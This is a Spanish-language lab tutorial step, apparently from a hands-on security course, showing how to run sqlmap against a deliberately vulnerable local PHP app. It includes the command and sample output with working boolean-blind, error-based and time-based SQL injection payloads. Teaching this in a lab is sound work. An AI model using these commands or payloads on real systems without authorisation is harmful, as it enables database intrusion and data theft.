Establecer una Inyección Exitosa en un Objetivo
En este paso, utilizará sqlmap para escanear una aplicación web y confirmar que es vulnerable a la inyección SQL. Nuestro script de configuración ya ha creado una aplicación PHP simple y vulnerable que se ejecuta en el servidor Apache local. Necesitamos apuntar sqlmap a la URL del objetivo y dejar que realice el análisis inicial.
Primero, ejecute el siguiente comando sqlmap en su terminal. Usamos la bandera -u para especificar la URL del objetivo y --batch para ejecutar en modo no interactivo, aceptando todas las respuestas predeterminadas.
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch
sqlmap realizará una serie de pruebas. Espere a que complete. La salida mostrará que el parámetro GET id es vulnerable. Esta confirmación es el primer paso necesario antes de que podamos proceder a la explotación.
Debería ver una salida similar a esta, confirmando la vulnerabilidad:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1421=1421
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'